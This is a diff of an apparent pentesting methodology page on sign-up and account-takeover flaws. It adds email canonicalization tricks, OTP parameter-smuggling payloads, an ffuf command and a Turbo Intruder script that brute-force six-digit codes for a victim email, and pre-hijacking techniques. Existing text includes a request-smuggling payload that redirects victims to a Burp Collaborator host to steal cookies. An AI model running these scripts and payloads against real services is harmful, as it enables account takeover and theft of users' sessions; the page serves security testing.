|
9 | 9 | - Try to generate using an existing username |
10 | 10 | - Check varying the email: |
11 | 11 | - uppsercase |
12 | | - - \+1@ |
| 12 | + - +1@ |
13 | 13 | - add some dot in the email |
14 | 14 | - special characters in the email name (%00, %09, %20) |
15 | 15 | - Put black characters after the email: `test@test.com a` |
16 | 16 | - victim@gmail.com@attacker.com |
17 | 17 | - victim@attacker.com@gmail.com |
| 18 | + - Try email provider canonicalization tricks (service-dependent): |
| 19 | + - Gmail ignores dots and subaddressing: `victim+1@gmail.com`, `v.ic.tim@gmail.com` deliver to `victim@gmail.com` |
| 20 | + - Some providers are case-insensitive in the local-part |
| 21 | + - Some providers accept unicode confusables. Try homoglyphs and soft hyphen `\u00AD` within the local-part |
| 22 | + - Abuse these to: bypass uniqueness checks, obtain duplicate accounts/workspace invites, or block victim sign‑ups (temporary DoS) while you prepare a takeover |
18 | 23 |
|
19 | 24 | ### Username Enumeration |
20 | 25 |
|
21 | 26 | Check if you can figure out when a username has already been registered inside the application. |
22 | 27 |
|
| 28 | +- Different error messages or HTTP status codes |
| 29 | +- Timing differences (existing user may trigger lookup to IdP/DB) |
| 30 | +- Registration form autofill of profile data for known emails |
| 31 | +- Check team/invite flows: entering an email may reveal whether an account exists |
| 32 | + |
23 | 33 | ### Password Policy |
24 | 34 |
|
25 | 35 | Creating a user check the password policy (check if you can use weak passwords).\ |
@@ -49,10 +59,122 @@ When registered try to change the email and check if this change is correctly va |
49 | 59 |
|
50 | 60 | ### More Checks |
51 | 61 |
|
52 | | -- Check if you can use **disposable emails** |
| 62 | +- Check if you can use **disposable emails** (mailinator, yopmail, 1secmail, etc.) or bypass the blocklist with subaddressing like `victim+mailinator@gmail.com` |
53 | 63 | - **Long** **password** (>200) leads to **DoS** |
54 | 64 | - **Check rate limits on account creation** |
55 | 65 | - Use username@**burp_collab**.net and analyze the **callback** |
| 66 | +- If phone number verification is used, check phone parsing/injection edge cases |
| 67 | + |
| 68 | +{{#ref}} |
| 69 | +phone-number-injections.md |
| 70 | +{{#endref}} |
| 71 | + |
| 72 | +{{#ref}} |
| 73 | +captcha-bypass.md |
| 74 | +{{#endref}} |
| 75 | + |
| 76 | +## Weak Email/Phone Verification (OTP/Magic Link) |
| 77 | + |
| 78 | +Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws: |
| 79 | + |
| 80 | +- Guessable or short OTP (4–6 digits) with no effective rate limiting or IP/device tracking. Try parallel guesses and header/IP rotation. |
| 81 | +- OTP reuse across actions or accounts, or not bound to the specific user/action (e.g., same code works for login and signup, or works after email is changed). |
| 82 | +- Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try: |
| 83 | + - `code=000000&code=123456` |
| 84 | + - JSON arrays: `{"code":["000000","123456"]}` |
| 85 | + - Mixed parameter names: `otp=000000&one_time_code=123456` |
| 86 | + - Comma/pipe separated values: `code=000000,123456` or `code=000000|123456` |
| 87 | +- Response oracle: distinguish wrong vs expired vs wrong-user codes by status/message/body length. |
| 88 | +- Tokens not invalidated after success or after password/email change. |
| 89 | +- Verification token not tied to user agent/IP allowing cross-origin completion from attacker-controlled pages. |
| 90 | + |
| 91 | +Bruteforcing example with ffuf against a JSON OTP endpoint: |
| 92 | + |
| 93 | +```bash |
| 94 | +ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \ |
| 95 | + -H 'Content-Type: application/json' \ |
| 96 | + -d '{"email":"victim@example.com","code":"FUZZ"}' \ |
| 97 | + -fr 'Invalid|Too many attempts' -mc all |
| 98 | +``` |
| 99 | + |
| 100 | +Parallel/concurrent guessing to bypass sequential lockouts (use Turbo Intruder in Burp): |
| 101 | + |
| 102 | +<details> |
| 103 | +<summary>Turbo Intruder snippet to flood 6‑digit OTP attempts</summary> |
| 104 | + |
| 105 | +```python |
| 106 | +def queueRequests(target, wordlists): |
| 107 | + engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) |
| 108 | + for code in range(0,1000000): |
| 109 | + body = '{"email":"victim@example.com","code":"%06d"}' % code |
| 110 | + engine.queue(target.req, body=body) |
| 111 | + |
| 112 | +def handleResponse(req, interesting): |
| 113 | + if req.status != 401 and b'Invalid' not in req.response: |
| 114 | + table.add(req) |
| 115 | +``` |
| 116 | +</details> |
| 117 | + |
| 118 | +- Try racing verification: submit the same valid OTP simultaneously in two sessions; sometimes one session becomes a verified attacker account while the victim flow also succeeds. |
| 119 | +- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host. |
| 120 | + |
| 121 | +{{#ref}} |
| 122 | +rate-limit-bypass.md |
| 123 | +{{#endref}} |
| 124 | + |
| 125 | +{{#ref}} |
| 126 | +2fa-bypass.md |
| 127 | +{{#endref}} |
| 128 | + |
| 129 | +{{#ref}} |
| 130 | +email-injections.md |
| 131 | +{{#endref}} |
| 132 | + |
| 133 | +## Account Pre‑Hijacking Techniques (before the victim signs up) |
| 134 | + |
| 135 | +A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later. |
| 136 | + |
| 137 | +Key techniques to test (adapt to the target’s flows): |
| 138 | + |
| 139 | +- Classic–Federated Merge |
| 140 | + - Attacker: registers a classic account with victim email and sets a password |
| 141 | + - Victim: later signs up with SSO (same email) |
| 142 | + - Insecure merges may leave both parties logged in or resurrect the attacker’s access |
| 143 | +- Unexpired Session Identifier |
| 144 | + - Attacker: creates account and holds a long‑lived session (don’t log out) |
| 145 | + - Victim: recovers/sets password and uses the account |
| 146 | + - Test if old sessions stay valid after reset or MFA enablement |
| 147 | +- Trojan Identifier |
| 148 | + - Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP) |
| 149 | + - Victim: resets password; attacker later uses the trojan identifier to reset/login |
| 150 | +- Unexpired Email Change |
| 151 | + - Attacker: initiates email‑change to attacker mail and withholds confirmation |
| 152 | + - Victim: recovers the account and starts using it |
| 153 | + - Attacker: later completes the pending email‑change to steal the account |
| 154 | +- Non‑Verifying IdP |
| 155 | + - Attacker: uses an IdP that does not verify email ownership to assert `victim@…` |
| 156 | + - Victim: signs up via classic route |
| 157 | + - Service merges on email without checking `email_verified` or performing local verification |
| 158 | + |
| 159 | +Practical tips |
| 160 | + |
| 161 | +- Harvest flows and endpoints from web/mobile bundles. Look for classic signup, SSO linking, email/phone change, and password reset endpoints. |
| 162 | +- Create realistic automation to keep sessions alive while you exercise other flows. |
| 163 | +- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs. |
| 164 | +- After any password reset or email change, verify that: |
| 165 | + - all other sessions and tokens are invalidated, |
| 166 | + - pending email/phone change capabilities are cancelled, |
| 167 | + - previously linked IdPs/emails/phones are re‑verified. |
| 168 | + |
| 169 | +Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end). |
| 170 | + |
| 171 | +{{#ref}} |
| 172 | +reset-password.md |
| 173 | +{{#endref}} |
| 174 | + |
| 175 | +{{#ref}} |
| 176 | +race-condition.md |
| 177 | +{{#endref}} |
56 | 178 |
|
57 | 179 | ## **Password Reset Takeover** |
58 | 180 |
|
@@ -139,11 +261,11 @@ See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) |
139 | 261 |
|
140 | 262 | ### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a> |
141 | 263 |
|
142 | | -1\. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\ |
| 264 | +1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\ |
143 | 265 | `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ |
144 | | -2\. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\ |
| 266 | +2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\ |
145 | 267 | `GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\ |
146 | | -3\. Final request could look like the following |
| 268 | +3. Final request could look like the following |
147 | 269 |
|
148 | 270 | ``` |
149 | 271 | GET / HTTP/1.1 |
|
158 | 280 | ``` |
159 | 281 |
|
160 | 282 | Hackerone reports exploiting this bug\ |
161 | | -\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ |
162 | | -\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) |
| 283 | +* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ |
| 284 | +* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) |
163 | 285 |
|
164 | 286 | ### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a> |
165 | 287 |
|
@@ -205,8 +327,7 @@ Impact: Full Account Takeover (ATO) without any reset token, OTP, or email verif |
205 | 327 | ## References |
206 | 328 |
|
207 | 329 | - [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) |
| 330 | +- [Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)](https://msrc.microsoft.com/blog/2022/05/pre-hijacking-attacks/) |
208 | 331 | - [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) |
209 | 332 |
|
210 | 333 | {{#include ../banners/hacktricks-training.md}} |
211 | | - |
212 | | - |
|
0 commit comments